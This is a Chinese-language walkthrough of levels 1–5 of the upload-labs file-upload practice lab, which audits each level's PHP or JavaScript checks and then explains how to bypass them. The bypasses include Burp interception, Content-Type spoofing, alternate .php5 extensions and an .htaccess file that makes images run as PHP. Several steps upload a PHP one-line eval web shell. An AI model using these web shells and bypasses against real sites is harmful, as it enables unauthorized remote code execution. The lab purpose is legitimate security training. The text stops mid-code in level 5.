文章目录
- <1>最简单的是前端(第一关)
- <2>content-type很简单(第二关)
- <3>文件后缀能改变(第三关)
- <4>配置文件也不难(第四五关)
- <5>文件大写第六关(第六关)
- <6>空格与点七八关(第七八关)
- <7>冒号data传文件(第九关)
- <8>拼接绕过第十关(第十关)
- <9>双写绕过十一关(第十一关)
- <10>文件后缀零零断(第十二十三关)
- <11>注意文件头检验(第十四关)
- <12>两个函数来判断(第十五十六关)
- <13>二次渲染不一般(第十七关)
- <14>条件竞争不简单(第十八十九关)
- <15>新的函数再判断(第二十关)
- <16>数组绕过难不难?(第二十一关)
- <17>都不难!!!(总结)
做文件上传的题最基本的思想是什么?是如何让文件被保存到网站的目录下,并且可以被访问,从而成功绕过,并将文件上传。
<1>最简单的是前端(第一关)
这一部分记录upload第一关的上传方法
【源码审计】
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
上面的代码时javascript代码。从上面的javascript代码可知,代码定义了一个函数,从函数名可以看出是用来过滤文件的,下面来分析一下
-
1、首先用getElementByName方法将name为’upload_file‘的input标签的value赋值给file变量
-
2、然后if判断文件是否为空,是的话则alert”请选择要上传的文件“
-
3、然后用substring方法截取file变量值中文件后缀的部分并且赋值给ext_name
-
4、之后用indexOF方法比对提前设定好的allow_ext变量与ext_name变量,如果allow_ext变量中没有ext_name对应的值,则indexOF方法会返回-1,如果是-1则会弹窗
-
5、这就是这个函数的作用,当我们选择了文件并且点击上传之后会触发焦事件从而调用checkfile函数。代码编写如下图。
-
6.审计完源码之后,可以说没什么破绽,但是我们可以不在浏览器上面绕过,可以在浏览器发出请求之后再拦截然后将文件改成php文件。而后端源码为
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
- 7、由以上源码可知在后端没有做任何过滤,直接用move_uploaded_file函数将文件存到根目录下。所以我们不需要做什么。
基于这种验证方式,我们可以通过上传一个文件内容为php一句话木马的jpg文件之后用burpsuite抓包后改变文件名为php。
【操作步骤】
-
1、写一个php一句话木马的文件php文件的内容是
<?php @eval($_POST['forming']);?>
之后将文件的后缀改为jpg,png或gif -
2、直接上传之后用burpsuite抓包修改文件后缀名
<2>content-type很简单(第二关)
这一部分记录的是第二关
【源码审计】
这一关的前端没有过滤,所以直接看后端
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
这一关的检测逻辑是,用if函数结合$_FILES['myfile']['type']
判断MIME类型$_FILES['myfile']['type']
是php中内置的一种方法用于调取一个会话中file的相关数据,而type则调取的是浏览器发送的报文中file文件对应的post模块中的content_type参数,而这个参数是可以通过burp抓包的方式更改的。不止能调取type,还有tmp_name这个的意思是得到内存中文件的真实名字,还有其它比如name、tmp_name、size等
由以上的分析,我们发现要想绕过网站的检验成功上传不和规定的文件可以通过修改上传的content-type的值,所以我们可以通过抓包的方式修改content-type的值
【操作步骤】
上传php的一句话木马文件,用burp抓包,修改content-type,将application/octect-stream
变为image/jpeg、image/png或image/gif
如下图
<3>文件后缀能改变(第三关)
这一部分讲的是第三关
【代码审计】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
由上面的代码可以知道,提前对浏览器传递的filename变量做了以下几步
- 1、用trim函数移除字符串两端的空格
- 2、用deldot删除字符串末尾的点
- 3、用strchr函数截取字符串第一个出现的点之后的字符
- 4、将第三步处理的字符串都变成小写
- 5、去除::$DATA
- 6、再次调用trim函数
在apache中php1,php2,php3,php4,php5,phtml等文件都都可以解析php代码,所以我们只需要将文件后缀改为php5等后缀形式就好。
【操作步骤】
1、直接上传php一句话木马文件,并在之后抓包,修改文件名
2、修改文件后缀为php5
<4>配置文件也不难(第四五关)
这一部分讲的是第四关和第五关
【第四关源码分析】
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
由上面的代码可以知道,源码用浏览器传递的filename变量取得后缀并且取得后缀之后用in_array函数判断是否在提前设置好的字符串变量里,然后用浏览器传递的filename变量结合成路径保存文件。具体操作方法如下:
- 1、用deldot去除文件后面的点
- 2、用strchr函数将文件名从左至右第一个点之后的字符截取出来
- 3、将第二步截取的字符都换成小写
- 4、用str_ireplace函数判断后缀字符串中是否有::$DATA,有的话将该字符串转换为空
- 5、之后将后缀字符串左右两边的空格去掉
- 6、用in_array函数判断提前设定好的字符串中是否有后缀字符串
- 7、若有的话将filename的值拼接成路径保存文件
审计完代码后我们再来想一下,我们的关键点是什么,是绕过in_array函数,可以想见的是在文件名上面动手脚是绕不过去的,基于此我们可以用上传.htaccess文件的方式规定所有文件都用php来解析,或者某一类用php来解析(.htaccess文件是apache的一种配置文件,这种文件的作用范围是本目录及以下的子目录)
-
1.若想设置apache将所有文件都按照php来解析,需要将.htaccess文件的内容设置为如下
SetHandler application/x-httpd-php
-
2、若指向设置部分则文件内容如下就是设置所有的jpg文件都按照php解析
AddType application/x-https-php .jpg
文件之后上传ihtaccess文件之后上传文件内容为
<?php @eval($_POST['forming']);?>
而文件后缀为jpg的文件就好
【第四关操作步骤】
首先上传.htaccess文件
由上图举例的是上传文件内容是SetHandler application/x-httpd-php
这种类型的,下面上传文件内容为一句话木马的jpg文件。
【第五关源码分析】
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx&